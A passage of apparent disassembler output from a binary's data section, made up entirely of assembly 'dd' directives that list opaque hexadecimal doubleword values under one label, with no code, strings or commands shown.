		dd 33E51D05h, 0ADD65998h, 5AD30F00h, 0DC55F4A6h, 0CD41C07Fh
		dd 69B1B13h, 0A2597800h, 40970C6Bh, 5DA029Ah, 95C4D77Ch
		dd 74271844h, 0A2823DFh, 50C13AA0h, 0F200553Ah,	0E1C5EB57h
		dd 54984516h, 2D10DCB0h, 271291D2h, 4F300088h, 6CB7EC5Dh
		dd 5054572Ch, 7A227428h, 50A844C3h, 0D3C1E01h, 0C26E2657h
		dd 0A04AECF8h, 0C7AC894h, 6378AD05h, 0D757EC9h,	0E9C739C6h
		dd 0EAA013B1h, 1900AECCh, 0B2E2876Dh, 14AE007Fh, 0DF5E8D9Bh
		dd 0C634A809h, 80813194h, 49B9AE38h, 95C93A80h,	0BC54A052h
		dd 19B82601h, 7D62AC91h, 180C3C54h, 5E5F04Ch, 7AABF239h
		dd 43B0CC59h, 2FF4BA00h, 52B8F689h, 90E42613h, 588B1188h
		dd 0E322B0h, 63C130DAh,	93EFCB38h, 6A8F5F05h, 0E8915B0Eh
		dd 2BDD2857h, 17E8AFE2h, 3C5F2901h, 0FAF833F0h,	47309E54h
		dd 0D28F40E8h, 1400660Bh, 2C6F59D5h, 7E4F57h, 0F826B9C1h
		dd 0A401BD19h, 0B3E9F41Eh, 777D8A83h, 11B7C051h, 3CE60156h
		dd 958B2426h, 58A423D1h, 69B83084h, 987234AFh, 19E00177h
		dd 7EFB93C6h, 1CD8623Bh, 0A06574ADh, 7FCB1CCh, 0FA11C0FDh
		dd 397EB389h, 2C14B958h, 0D64278F6h, 805117h, 0C5B99EABh
		dd 4E7CA87Dh, 0FAAE7644h, 0CD440F92h, 0C8E1340Bh, 269C8948h
		dd 1A4D0128h, 28167B31h, 4226EF0h, 0BA2C8F09h, 73508CFFh
		dd 0C768F450h, 28958F0Ah, 550478F5h, 464043ADh,	2F762385h
		dd 0D43E0900h, 9E91624Dh, 34F301BBh, 751E8B55h,	8CC47012h
		dd 47FCE709h, 0F418C161h, 0E3064906h, 5258C87Ch, 3AE57AB0h
		dd 2E013466h, 0B3326126h, 0F40C319Bh, 0E748AD1Fh, 0F1555000h
		dd 0E546C12h, 0F86C002h, 9238E2F5h, 0FB6B80D0h,	4FB3F1F6h
		dd 5D442053h, 79004F70h, 52B46FB0h, 6FB68E2h, 9B604297h
		dd 68965119h, 90FDEA0Bh, 8AB190h, 68054634h, 38D63D9Ch
		dd 0F4113560h, 2AACDE0Dh, 77C84B7Dh, 114B955h, 0A160AB3Dh
		dd 0E0ECED29h, 0D50F1593h, 8020D39Bh, 2D4B9FB7h, 78B80BE4h
		dd 4C40BBD8h, 0F88876C7h, 0E848E5B6h, 43D02E92h, 95FF438Ch
		dd 2D31D97Ch, 78DC19E6h, 406A8983h, 0E482EB46h,	154FB8C1h
		dd 8C57F408h, 5339EEC7h, 0F6D0581Ch, 7CAA1900h,	1C49B4E7h
		dd 0C0B7F8E6h, 31586841h, 8C9CFB91h, 6AB50461h,	0FF167ECh
		dd 1ED19BABh, 68CE77C0h, 0EB0916A8h, 1997F4EAh,	7810E2F4h
		dd 120022AEh, 18F95621h, 98B6EEEAh, 0A680819Ch,	0E774C10h
		dd 0F00F376h, 224E3C0Bh, 449979h, 53E1F85h, 73C0F635h
		dd 29644C00h, 0C78FFBB3h, 949B028Bh, 26E1763Ah,	28FAB041h
		dd 0B4F850FCh, 2827C83Eh, 0D20034ACh, 58847DF1h, 0CE3C0BEh
		dd 0F936F3E0h, 460CD550h, 112E9E04h, 8C96926h, 0F35A0000h
		dd 87055386h, 168D19A3h, 0B0308Ch, 0F26C1DCBh, 3488286h
		dd 31ABC900h, 5F1EDB0Fh, 8BCE0058h, 0CF078CE0h,	0B401F4F8h
		dd 18FC4032h, 0E4F03C27h, 0DDF4C29h, 2F00185Dh,	0BFF3B63Eh
		dd 2BE0545Bh, 0EFA04709h, 12E84655h, 1CD4FCBDh,	660062D8h
		dd 7FD0C398h, 1E7E009h,	2EE17C94h, 39DD4C6Ch, 24910140h
		dd 3F9B392Ch, 2F33B70h,	0E12344BCh, 0F060AC1Dh,	5704AD4Fh
		dd 8B1CD17Fh, 27B48B2h,	41E5A995h, 0CC51D2C7h, 0B32BB200h
		dd 4856FA4Bh, 0A0489C54h, 0D722059Dh, 0B084039h, 8A51AE0Fh
		dd 3029952Eh, 1074D84Dh, 59D26F92h, 9368C896h, 0CC3F3707h
		dd 483038E3h, 2EF4D9h, 41B80F67h, 5518CEE5h, 84DCB32Eh
		dd 4174540Ch, 67EC887Dh, 0DBE32600h, 11968248h,	557BF8ADh
		dd 0A404A8C5h, 0C7D57400h, 2AA85E3Fh, 0C6CEEh, 0F9D8CE0Ch
		dd 0DEC57D30h, 0EF5D1C00h, 115416ABh, 0A450C892h, 550C7E84h
		dd 9179AD46h, 94962CF8h, 5E640540h, 0D16C0015h,	0DE19772Fh
		dd 2801CF9Eh, 67C4F11Dh, 0EAD5F21Ch, 0A87AF9C4h, 48BBA890h
		dd 961418C6h, 612230F4h, 1752C1F9h, 34A565C5h, 170F9836h
		dd 1E09EE4h, 22F05936h,	0D4B76F09h, 7C4490h, 2F12D9F2h
		dd 0CF40F013h, 92C76E00h, 0CEC08DEFh, 0D4B03888h, 6C3628h
		dd 0F4195DFCh, 0AF540F25h, 800A7E29h, 0D1876190h, 250E00D5h
		dd 560C940Dh, 0E0140615h, 2FE588B8h, 0E4C32C1Dh, 8F5243Ch
		dd 14801016h, 0C787C8h,	3C7B9BA3h, 91FAB544h, 3974B316h
		dd 0E0C40C20h, 9DAC13E1h, 8A4C08BDh, 0F1D4928Eh, 115DC806h
		dd 0C091812h, 10EC9BA8h, 3DE94440h, 1EBF2DACh, 0F4007322h
		dd 8DBEFB04h, 0F1C4AEF2h, 1181FAEDh, 958CEC50h,	0F33040D0h
		dd 88E941DCh, 0BDE9D379h, 5160B5h, 538EC033h, 910E5DB0h
		dd 42A82197h, 0C42D95A0h, 40CF4CC8h, 0C009969h,	0B79D5D35h
		dd 0B4745C05h, 801DD2Eh, 57169CFAh, 2D80BC68h, 671E79F6h
		dd 26EFC01h, 0A90D3571h, 17998A30h, 242F9254h, 0EB8C0C8h
		dd 42C66E5h, 2A1911E4h,	0F3123EB8h, 0D1770E40h,	0E51C69E2h
		dd 954EEE96h, 870DC54Bh, 419C0C01h, 0DAC4919Ah,	8E667B5h
		dd 92DD908Ah, 8D017394h, 50BE7C1Fh, 2300FCAh, 0F5960E53h
		dd 38FBDB2Eh, 8EEEBDA0h, 128BE30Dh, 0FEF04084h,	5C21C02Ch
		dd 4F832857h, 5A0047E8h, 0A9CF30BFh, 3F615h, 0C04BDD95h
		dd 39AC8443h, 78929C00h, 0D2D869B2h, 0E4C700E0h, 464FBE8Dh
		dd 0EC013FB5h, 9D31BB49h, 0B9808140h, 1D074502h, 0EB01308Dh
		dd 96D870D9h, 21809C73h, 407AA36Ah, 9E0077B5h, 2C0A9BD9h
		dd 1D42D050h, 4E37E8C4h, 0EAA07510h, 0BAB89A15h, 0B543EC0Ah
		dd 0A480889Dh, 0BB8DC811h, 0EB5F3A9Ch, 0EDB58863h, 932C2100h
		dd 0A2734DE7h, 0FE1600FAh, 8940D6D1h, 0BB284671h, 8D44B4BAh
		dd 1EDF02B1h, 95AC0D7Ch, 741098A0h, 8507128Eh, 0A568E63Eh
		dd 9D158B41h, 539C2186h
		dd 6BF84180h, 790679DFh, 8A18CCE4h, 0E8BC1BCCh,	79E8F19h
		dd 2E370140h, 220B9046h, 0BE00855Fh, 0C4C3DC7Ch, 500D7F1Eh
		dd 31164455h, 3698E77h,	70A21CAh, 17D9418Ah, 31798697h
		dd 69D8FEh, 4E6B06C5h, 13E536D3h, 0BBF5E600h, 0D7756894h
		dd 40010029h, 32FBB2F4h, 0F0837E04h, 0E2A3EADh,	6E352E33h
		dd 2DE2F92Eh, 6361D1E0h, 0EA698493h, 4240DB13h,	0ED714DB1h
		dd 0E77A8B03h, 0BEBB5E3h, 2B175C29h, 0B89B5E80h, 6624040Ch
		dd 0D600CCC3h, 46DC45FBh, 0B4D7B52h, 5F12E3DBh,	500D7E00h
		dd 9F06E2EDh, 9E5E9D09h, 0EAB532F9h, 0E0557D59h, 5C2E2Ch
		dd 0DC0B238Fh, 4E77A4B3h, 102D5806h, 1A1DEFDh, 27F59E53h
		dd 0D0A00A4Dh, 0E701A85Ah, 6E667811h, 188726D7h, 73BF3A18h
		dd 391FD9FEh, 0F9B9C51Ch, 110603Bh, 0E0EF52FCh,	0A0EACBA3h
		dd 0DE16DA14h, 0D471000Ch, 0D196DD8Eh, 7C02B402h, 45118FC2h
		dd 0C460433Ah, 92738C91h, 35E93980h, 0E874716Dh, 860352E4h
		dd 0EB5E9CEAh, 9EF12290h, 7172AA98h, 7C9A8B0Eh,	0B4410098h
		dd 0FE4F179Ch, 27B20651h, 40888622h, 0A1E77820h, 0C2178CFCh
		dd 0A491A55Ah, 0D7D71385h, 638C5C0h, 0EC0EE8F4h, 4B320084h
		dd 7A7C6335h, 1909F985h, 275ADA5h, 22D9E17Ch, 45218D5Dh
		dd 0EF0F0FAh, 0BD59C322h, 30107CADh, 0ED002B4Eh, 4AF58655h
		dd 1029A153h, 5B06D0DAh, 24399241h, 6B4BD12h, 21D6FF31h
		dd 2B786000h, 0DA735A80h, 83D13BDDh, 8BECC286h,	4FE63913h
		dd 8817FB24h, 8C15043Eh, 98881C16h, 48E8900Fh, 4D000441h
		dd 4FBDDCFAh, 790020ECh, 30E26A7Eh, 179176h, 535B48A6h
		dd 95E11A86h, 0D60119F8h, 7B1EC0EEh, 0C823510Dh, 0EA901B21h
		dd 91806072h, 93BEE2C0h, 77201B00h, 0AF02E358h,	51D10B33h
		dd 0D4806CB4h, 4FF5FE49h, 804E5B29h, 619B880Ch,	105B887h
		dd 797B1577h, 4C642C4Ch, 65073EDCh, 7CEE2E4Bh, 0DFE7AAD0h
		dd 50FB0017h, 5B474EA6h, 0A224CE76h, 830808AEh,	47964491h
		dd 0CB1001E9h, 44800A69h, 0F898A493h, 0D76EC84h, 320920E0h
		dd 884C96EBh, 1B00088Ch, 7731E424h, 2F7A03EAh, 80EED19Ah
		dd 958E7298h, 4F3AFC0Eh, 0F3EA367h, 20FAC852h, 0DAB3A7Bh
		dd 0B8FB1000h, 4516311Ah, 26EB0A3Bh, 34A4F076h,	468090EFh
		dd 5BD8662Ah, 4CFDBC00h, 41309D57h, 263C0085h, 0AF0D0B20h
		dd 0C8028E01h, 0E768BEABh, 190CC2BDh, 550C6F80h, 8F510100h
		dd 18A48033h, 0E87005AFh, 20B5C0BEh, 0C74D83C8h, 8B949000h
		dd 7F09B105h, 1E40C0DFh, 0E9D6EE0Eh, 95B65B1Ah,	78106831h
		dd 11DD90h, 0DC42E8E0h,	0C93E5D2Bh, 53C061A9h, 10FC0997h
		dd 3FD60FF3h, 0AC80AF4Ah, 3BC881CAh, 8ADC90A0h,	0DB0287FEh
		dd 0E48BEEBCh, 9677C02Ah, 0D761720h, 0C94C019Ah, 339D0CD9h
		dd 48D822CCh, 196AC0FAh, 22581FD8h, 0D9CB38C7h,	0C0EFFC02h
		dd 16B9DCh, 35E2731Dh, 4AB6F5E5h, 0CF598705h, 4480D1ADh
		dd 4C9FD95Bh, 6800392Ch, 0B3CC8B0Fh, 1B004244h,	1F1695A9h
		dd 39E594Ah, 7286F597h,	71008873h, 4F55E2CBh, 8498C6h
		dd 3529DB34h, 46F5CAC4h, 40D08352h, 0C97448E0h,	15BEFA17h
		dd 0C088810h, 2995734Eh, 66B21671h, 0FEC200F3h,	23301C6Bh
		dd 9615D918h, 0C08088F1h, 0E402B8F9h, 263F6A82h, 9D85832Ch
		dd 0B8D9A6FEh, 0E9293Fh, 3933CC1Dh, 76AF14FAh, 0E1620B0Ch
		dd 608908D0h, 61314983h, 923B1177h, 82FB02F3h, 605AEEFFh
		dd 143685Eh, 0E7737CCh,	22B24A18h, 9EC70060h, 90BB4529h
		dd 0D8B31255h, 0C2187476h, 38447BB8h, 0E9EF9000h, 61EB645h
		dd 74B974EEh, 0EAED06CEh, 2981B2FAh, 0F433C300h, 208E6D1Fh
		dd 0EC721DFFh, 51807C7Bh, 0E0108716h, 921F093Fh, 7A00E250h
		dd 682D7C6Bh, 94FF002Ah, 174697C8h, 0EF39B5FAh,	23E0D115h
		dd 44552098h, 0B90673F6h, 0EE0AD971h, 19330281h, 0ED302D18h
		dd 1E108448h, 0F6B98E3Dh, 7DEEDEF0h, 9846E8A2h,	9A201D43h
		dd 9866B124h, 0F768D001h, 8449405Bh, 34DECC30h,	0CC28E203h
		dd 70071184h, 0FE120C96h, 502003E0h, 77EC0139h,	17401905h
		dd 28B8E22Dh, 38B12EC0h, 0D948DB03h, 0DDB81F14h, 201970FEh
		dd 1900FD15h, 0DEF33BD7h, 0E5452Fh, 9F0E667Ah, 692C2EC6h
		dd 8073F938h, 4249EC58h, 0D391A53h, 0DC97E1C2h,	988BFD49h
		dd 5354E4E9h, 0D7D100D6h, 25D3EB60h, 940D2809h,	0E00D9073h
		dd 0AA7F3DCh, 0F5A65582h, 82E0A0A4h, 807C990Ch,	0C460D4h
		dd 0CF9BF10Eh, 0D827EB1Dh, 21782A00h, 77F06EFDh, 0F9B20B5Bh
		dd 0C498FBDCh, 7A00D50Eh, 0F2204775h, 1ADFF23h,	86B683BFh
		dd 606E455Ah, 418A3AE8h, 0C9158094h, 0DB0FE828h, 2B633800h
		dd 0D465ADE9h, 7161140Ah, 1E3EB0F8h, 337ECC01h,	2096D957h
		dd 0D507AFE0h, 9D08E9F9h, 0D05C51BEh, 0F6330B80h, 21004332h
		dd 0BD1673E6h, 4BC30337h, 4764232Ch, 0A0A2B4h, 5D3EE368h
		dd 3CC5F64Bh, 0B500C3A7h, 8E26ECC8h, 61450A5h, 22606F89h
		dd 5C307DFh, 0D04493C6h, 0B65A7465h, 7BBE0901h,	5DB59217h
		dd 0E9EAC460h, 0C053D021h, 2A9737Ah, 0B91519BEh, 705A734Ch
		dd 6ADFF41Eh, 52C54B00h, 1CFC898h, 2D51717Ch, 70927FD7h
		dd 2BE44974h, 0B53BB00Fh, 17ECE0DCh, 265A4C5Fh,	8B155h
		dd 969707B7h, 0D00510A6h, 83B9DB33h, 0F811A405h, 4F5B0803h
		dd 31290604h, 898F589Dh, 0EF662012h, 0B1EC6A0Dh, 8870E8E1h
		dd 28D60015h, 5A7193F5h, 771769A8h, 6C13BC55h, 0EA2A7830h
		dd 260911Ch, 0E9674555h, 10932041h, 17CA8BAh, 5D48290Eh
		dd 60A32579h, 30B8909Ch, 2A8095FEh, 0D59A4489h,	3A6B809h
		dd 0F8647Eh, 956960D4h,	0D543961Bh, 93014A00h, 643563D3h
		dd 0C66C01AAh, 0F82D464Bh, 0AF6C60D0h, 45179544h, 900FF0D6h
		dd 0A416E38Bh, 0EB5F0340h, 44061213h, 9F73ECBBh, 554C0179h
		dd 0C9E64D49h, 25EECC5Ch, 0ABE3B300h, 345A3CB8h, 16ECA0E8h
		dd 6E8B8092h, 71599866h, 38EE5088h, 2D681224h, 20FC2D52h
		dd 788892D0h, 428E4C80h, 23B00701h, 2DE9E366h, 0F5FEC24Ch
		dd 7C446116h, 0D68C91EBh, 7794DE0h, 8BDCF385h, 0FE89CC14h
		dd 24392A60h, 3E2D80Dh,	0ECF398A5h, 7CA0C910h, 0B4EE0B29h
		dd 28ECD951h, 0EACD8050h, 61B686h, 0B33A385Ch, 31FFAE82h
		dd 0E9B71913h, 94E80036h, 80F7C43Ch, 964666D1h,	44B8AC71h
		dd 0D1DD1301h, 5DF5BD4Ah, 202058E5h, 72D04414h,	0AF805C9Eh
		dd 0F593CA7Ah, 0D5940070h, 4736BA23h, 0F1C2D27h, 2C8AE2EAh
		dd 0D0008C49h, 0BB16D5E4h, 0DE5714DBh, 33050829h, 859CD64Fh
		dd 9364C8B5h, 48FB7188h, 3E2541DFh, 0A899008Bh,	2071E831h
		dd 0DE990800h, 7377397Ah, 0B0E9D01Dh, 9190B97Ch, 302A078Ch
		dd 1130B141h, 0F254D4h,	0EE2618B8h, 0B5DED56Eh,	6561E860h
		dd 3A945E2Ah, 0B28D2157h, 6051798Ch, 0F5028EF4h, 0D3E3ED71h
		dd 108CC0BEh, 2A3E00BDh, 0E580B4DEh, 15031631h,	0F62C304Fh
		dd 85783B97h, 0F03E2889h, 0B11BA080h, 0B60468D2h, 4031E763h
		dd 0E746C8Ch, 0AAE9037Bh, 26C6B300h, 73788D84h,	81C3763Fh
		dd 0E506E2BCh, 0B18794B5h, 0F4FED20Eh, 4F3CC046h, 0F8F5437Eh
		dd 0EB29D8C8h, 0E3130805h, 1B1A0404h, 0FA976DC0h, 2B84000Dh
		dd 9CF905D5h, 314D52B1h, 50889224h, 0B2BC0069h,	414086C7h
		dd 33186217h, 4BC4D42Ah, 64070051h, 526F5C98h, 60C3E9CFh
		dd 9C158BDBh, 5B71A890h
		dd 7AB73FB4h, 0F0113F84h, 2178A262h, 0D21708F4h, 76201464h
		dd 0CD889473h, 6BA200DBh, 3E25E4A8h, 0AE246CD6h, 2602666Dh
		dd 46BABB42h, 0B3C612B0h, 47251E70h, 0C0787367h, 0EF4CAFF1h
		dd 0E2D8848h, 0DE641B7Bh, 0A2DC10C0h, 9505CEh, 5511B35Bh
		dd 5CD22146h, 530D9900h, 487916F0h, 30DBE4BEh, 0FA19F88h
		dd 961D4D86h, 4BA1A02h,	856A8E27h, 112DFB80h, 38CA74D5h
		dd 7A8424DEh, 844291A5h, 0FE54C870h, 94B12B60h,	741F3E64h
		dd 0ECF700D1h, 0FE61956Fh, 553C7406h, 89307421h, 0AB0E7986h
		dd 53DF07A4h, 0D0C2484Dh, 80DE34Bh, 0D7FF7507h,	76F0EA21h
		dd 6B094Ch, 575B50D0h, 9CE197D5h, 0FFF81000h, 53478AFBh
		dd 96D70162h, 49E6144Ah, 336C61FAh, 54E100B8h, 2D317F11h
		dd 0D50229EAh, 946990D4h, 31670024h, 8E7FED47h,	0FA9B0F26h
		dd 5AE14858h, 3CE3D9EEh, 344C80FCh, 6B5793h, 0CFBD37EFh
		dd 97386A0Dh, 0CF83BCE2h, 54173C00h, 8A0F0BFBh,	9441E093h
		dd 0CEE4438Dh, 2288E7C1h, 0DC452FFCh, 3ED320CDh, 123DADBDh
		dd 599C4405h, 9788CC96h, 7C78638Ah, 5096C9h, 0BEFB8628h
		dd 7700DC45h, 30E43D96h, 0ECA1C17h, 0D42F42CEh,	397C005Eh
		dd 5DDF6385h, 74168400h, 1DC58F41h, 7C5E588Dh, 50E13209h
		dd 0C8880C65h, 0C9E103E8h, 82D4F0Bh, 278C2073h,	0B3A9013h
		dd 0C66281A7h, 0B2B98E81h, 1BE7F438h, 2FA2BF01h, 18EB7778h
		dd 90530C62h, 83FD3E1Dh, 8B0C2686h, 46E52FBFh, 8D30C883h
		dd 0EC09AB4Ah, 8A808510h, 140064A6h, 0FEF70988h, 3E05D2ACh
		dd 0D47A6515h, 0DC8C3CC5h, 4F0600F9h, 0C4744596h, 51FC24E5h
		dd 9F32F100h, 7D3E54E4h, 81A4C53h, 9A2234D0h, 25564300h
		dd 0D642FAE3h, 0C7AC0023h, 50A29E6Dh, 0DC13C1C5h, 6412F368h
		dd 5ADBA888h, 460061E3h, 0CA8A31BBh, 734A4C78h,	0FCC54C40h
		dd 0F8376A9h, 0D9A1680Dh, 155C08A0h, 0A6020A21h, 3EA5BB0Fh
		dd 0D984B0E5h, 71E7640Bh, 0F2148888h, 9E1DE800h, 0B532DBD0h
		dd 60ECAA70h, 508E1554h, 1E5D209Ah, 214924Ah, 4371DDEEh
		dd 53413DC0h, 448CAF58h, 60824F14h, 0A0B56644h,	949B10D4h
		dd 0C4DBE074h, 7800AB97h, 49CE0FB5h, 941EEABBh,	2811A5E4h
		dd 302471C7h, 7A0A011Bh, 28896AD3h, 0E1A8441Fh,	5109C4F0h
		dd 6B0A70h, 50310E70h, 537883h,	0B7DB10B4h, 5B9B60E7h
		dd 488DBC00h, 0C7C89745h, 632A00E4h, 30B8545Fh,	8E003926h
		dd 0DF219514h, 45A2562h, 4299F3B3h, 0B20487E7h,	0D4C2864Ah
		dd 0C119F882h, 0D208B091h, 3CB3B925h, 71444600h, 7682AB5Ah
		dd 4583A896h, 0B06FBE95h, 17C77AD3h, 232034h, 5AC48204h
		dd 5000C3E4h, 0A30DC1FCh, 1779995h, 0DB42A738h,	802BFF31h
		dd 39D53C79h, 0A28BA1h,	76367F0Fh, 22DD6CDEh, 73C00604h
		dd 10F4882Ah, 3C81F88Bh, 0B980AA74h, 6F9B114Dh,	0F0F8F2A2h
		dd 0ED7CB05h, 508C688Bh, 0EBA8A0FBh, 0F84E1694h, 16780053h
		dd 0C8AC2BB9h, 0F5E4C11Dh, 0F8FA9AC9h, 9CFC99FFh, 9B350E16h
		dd 8F327020h, 3A7F443Eh, 0DE0164B0h, 7D5B8A96h,	842207EDh
		dd 0CF1DCC00h, 62BF2343h, 6A6D8100h, 0FED63301h, 74F1C0C0h
		dd 0E107A4Bh, 9C47170Bh, 67B89940h, 0E0D82D19h,	0B6F5EE55h
		dd 5D488870h, 81600424h, 169D76h, 34B6749h, 0D825D7F9h
		dd 8FAC2A3Eh, 0A96B9BC5h, 640CE59Dh, 0F6A24080h, 0E28F8178h
		dd 47DD00ABh, 61DBA486h, 70077EC5h, 0EE0EEC96h,	31B0C099h
		dd 0C6140F29h, 0AA76C1Fh, 2DE41289h, 1041BCF9h,	4C788E1Fh
		dd 0B5F21709h, 0EADF7C98h, 46F02E03h, 0F1FCC2AFh, 0B820CB95h
		dd 5FD401A4h, 0C0A639EBh, 22246381h, 0C1FE229Dh, 650A3A00h
		dd 619ED969h, 9C5B5047h, 1395794Ah, 70261930h, 0C4BF5BBCh
		dd 2DE75812h, 8FD95808h, 0F940045Dh, 0CE1EF0E8h, 6302C17Eh
		dd 0C5CD3522h, 394E4FEh, 0C82373B7h, 0D990DDA5h, 10092AFBh
		dd 2F5BDEh, 70FE8468h, 2C0D4B22h, 0A49E2F58h, 9C22BF47h
		dd 286441h, 6D17332Ah, 481B6987h, 44DF2D00h, 3F20D6F2h
		dd 0F4BFA0D5h, 1E04F2C5h, 4AB6B7Ah, 802B66D4h, 0DB445372h
		dd 8F4C9602h, 71424B97h, 10C8A660h, 48249F92h, 2A0517C0h
		dd 5B29C4D8h, 22D0549Fh, 0CFE70094h, 50E25771h,	4E0E7647h
		dd 0A4F103B6h, 1CAC79EFh, 0FF900073h, 526EB1E7h, 4C94E087h
		dd 0C02942h, 0EB6205EEh, 0A8251326h, 528944h, 2D6A9AE4h
		dd 0D73CAE12h, 64E48BE0h, 0F9B869A7h, 0A4004078h, 0E7208F1Eh
		dd 8B27C0BEh, 0E038106Ch, 9C5B1617h, 66D8C85Fh,	384B324Eh
		dd 3A4C9073h, 0E6EC008Dh, 9FFCC43Eh, 7800A7BDh,	0B5D20C87h
		dd 0D0826D6h, 0DD8DC3BAh, 0D382010h, 38EEF80Eh,	81027DBFh
		dd 590AD94Bh, 0D52B0098h, 0C051882Dh, 6E805493h, 901DDBF8h
		dd 18A10979h, 983EEE06h, 0EB31E601h, 43890DE0h,	829C70CEh
		dd 5F06CACh, 0D4628BFAh, 3E04E473h, 37ECEE02h, 0F81F6672h
		dd 5454B4ECh, 2AEA18A1h, 0D90A002Ah, 2478E40Ch,	5F0D00C4h
		dd 2940E5CBh, 0CC38775Fh, 3FF8889Eh, 946C3501h,	5D98CEA1h
		dd 18324C5Bh, 0C05288CEh, 0D26A2701h, 123831CBh, 0B7E6D440h
		dd 0BC0B00ACh, 0FACF3783h, 0D84E6620h, 4BFDA420h, 0A9CA00AFh
		dd 0E6C9506Ch, 7E0F75A5h, 40D55580h, 7376D746h,	64454837h
		dd 50F8204Ah, 0C20214DDh, 30871077h, 8D3840CCh,	991526EAh
		dd 0D490AD4Ch, 0EE00D79Ch, 5F742636h, 7ED5518h,	2F8A9AA7h
		dd 984C53B9h, 0B8B1401Fh, 0EB7957C5h, 451320A4h, 4C7223h
		dd 28E5EBC5h, 0F63AA7BFh, 4AF31CAFh, 0AFF43B3h,	0A49883DFh
		dd 1000204Ch, 30BD77C4h, 12651B17h, 946E37h, 64CDE81Ch
		dd 63789725h, 17085150h, 42147350h, 18B9EB78h, 0A4801690h
		dd 0F5498540h, 4DCD4B00h, 0B71B9387h, 8506094h,	657D16E9h
		dd 953D400h, 3967AF0Dh,	0BF07006Bh, 0EEC8E763h,	90774D5Bh
		dd 3136B900h, 788B8274h, 6557D71h, 2DFBF464h, 0E4E868C3h
		dd 4DD91607h, 0B7F0998Fh, 10F4CB6h, 0E5CF690Dh,	284FA0F5h
		dd 804489BCh, 0CF86F59h, 16C27818h, 9ED43E4h, 0B48327F5h
		dd 5F9848BBh, 2CFDE1EEh, 0A3938784h, 5B952BB0h,	0D4D3004Ch
		dd 53E1403Eh, 740A4DA6h, 882919EBh, 3931F648h, 44248588h
		dd 0FE5400A6h, 0B44A5121h, 0ACB672C9h, 3412A670h, 40850FDh
		dd 0E86C2CF4h, 11B48048h, 9062515Ah, 4C497482h,	4612FC92h
		dd 4AC442EEh, 8D278187h, 4C5D7260h, 2E142592h, 9037780Fh
		dd 0A86FC998h, 0DB2F4126h, 20689B0Eh, 85E53A06h, 20E9023Bh
		dd 2D391D7Bh, 679764A0h, 87002E69h, 635C996Ah, 3E3EA7EBh
		dd 0FC3BC1F1h, 74652689h, 1ED0E0E3h, 9544817Ah,	2E5C9994h
		dd 55E982C0h, 0AA05F596h, 0D8271057h, 8CF08ED5h, 0BB5A000Ah
		dd 0A5BA2D42h, 0D4B2D83Eh, 83E7B094h, 0C2375C20h, 41EE0542h
		dd 0B4FEC94Dh, 1B00D068h, 6C0B753Dh, 128D8B07h,	0A62DC71Fh
		dd 3E851314h, 10726C7Dh, 0A480613Ch, 0E1488329h, 0C801FFEAh
		dd 0B77FD668h, 89D0E45Dh, 697326A2h, 0AC18h, 0DBBC71E6h
		dd 9E178D5Ah, 6032D530h, 0FA15118Ch, 2DFA7120h,	6A2E3D7Bh
		dd 0C0009F25h, 0C944B5CAh, 0E5751516h, 39013801h, 64DC2865h
		dd 16AC710Dh, 0DDC135h,	0FB10CC8Ch, 0EB0570E2h,	0D45FDB1Fh
		dd 1090E082h, 0CA8B1DEAh, 0E472h, 0BE4DAA94h, 649A4062h
		dd 9D30DB04h, 0D4CD8BB0h, 0F8CF5330h, 12100B66h, 7464A71Ah
		dd 0C8C8D95Ch, 0C1719E99h
dword_540058	dd 899C587Bh, 754430BAh, 92255D00h, 46A68DFEh, 85C5483h
		dd 8058B14Eh, 28A458EFh, 187A2476h, 8A197B60h, 0B4E9E890h
		dd 0EFFE408Ch, 0D91ECC73h, 95C0BFA7h, 0A8112FD2h, 87401B7h
		dd 0CF39FE05h, 4C90DA88h, 630016A0h, 0C294FF59h, 0F25C12Dh
		dd 0EFADB87Eh, 1145B0A3h, 0D5BBA6A0h, 9AB65A0Bh, 6E6CEAB9h
		dd 0F9788064h, 0F3EB0080h, 0C40AB16Eh, 10978944h, 7478BFCh
		dd 0BF3AE22Ah, 1538519h, 0DB431508h, 0F587288h,	0A06ACE5Eh
		dd 6E0CBEC7h, 86C0099Dh, 0F8E11009h, 77F4201Eh,	0B631EC61h
		dd 9438E46Bh, 95543580h, 4200E87Ah, 2AF77BD0h, 169043h
		dd 0D963F178h, 4FBEF5DCh, 0D00588BEh, 0D5C7E78Bh, 44C80BD4h
		dd 25105EEAh, 0A29885C4h, 1842255Ch, 2473EE10h,	0A17CB68Fh
		dd 9C18088h, 0FA9A3CB4h, 76D8F912h, 0EF2290F3h,	4647B925h
		dd 19EA14D4h, 644C3CD6h, 0A108CB00h, 0AE131733h, 76792Fh
		dd 2A9071C8h, 0E04C0030h, 0FBE10305h, 1113B90Ah, 0C920FD9h
		dd 1F105A88h, 4042E16Fh, 80C4B21Ah, 0D703195Ch,	33751685h
		dd 0D75C795h, 3F3BEA80h, 0B82895C3h, 1D160A08h,	38F02814h
		dd 238AE9DFh, 1FB4FB51h, 0F8BF8064h, 92A81B57h,	0C068E400h
		dd 0A5F4E710h, 44EC4A6Dh, 529056F0h, 603AB888h,	0B96AC4BDh
		dd 66003BD2h, 0C094AEDDh, 1336F791h, 0DC1BFE99h, 93007538h
		dd 1CF378D0h, 22ADC0E8h, 0CC008688h, 58FF742h, 746D4DB1h
		dd 24C11369h, 0C2960439h, 48CCA954h, 0EC7E00E4h, 0EDD76532h
		dd 994B69F2h, 2285F4E1h, 0A6F50B64h, 0EAE40214h, 44205416h
		dd 1017320Ah, 0C6600FF2h, 88B5E249h, 0EAF700F8h, 0ACA00D95h
		dd 3CB8A8C1h, 0F06B7800h, 43B3D7F4h, 1880F0D6h,	28DDF750h
		dd 6500C7DCh, 0D84BB699h, 9F5D9D31h, 8141091h, 79D460FEh
		dd 0CB0A6259h, 99EBC205h, 0EB0089D3h, 95011D17h, 420B85Dh
		dd 2E9C16AFh, 418CBD97h, 84408h, 507A2A14h, 3B02AB25h
		dd 4BBF5B74h, 0C0045697h, 651155EDh, 80339F06h,	919C88h
		dd 0DBDD29A6h, 0B6845352h, 11C7CA00h, 0A11C5C30h, 0E0D4BC6Eh
		dd 0BABB70E7h, 2BEF5098h, 6C0B3C25h, 0E8D4C9B1h, 54EE3110h
		dd 0AF30AB17h, 76EABC81h, 7EDC207h, 942CC059h, 0F3672A00h
		dd 16315954h, 0F05EB44h, 90A03F6Fh, 0D88E3E5Dh,	0B55B4E0Dh
		dd 0B403194Ch, 0B2449459h, 80E044E6h, 0C7C68CC0h, 2DF300BBh
		dd 0C2E74415h, 28E94C18h, 95A0438h, 0CE02D1DEh,	7C61D89Eh
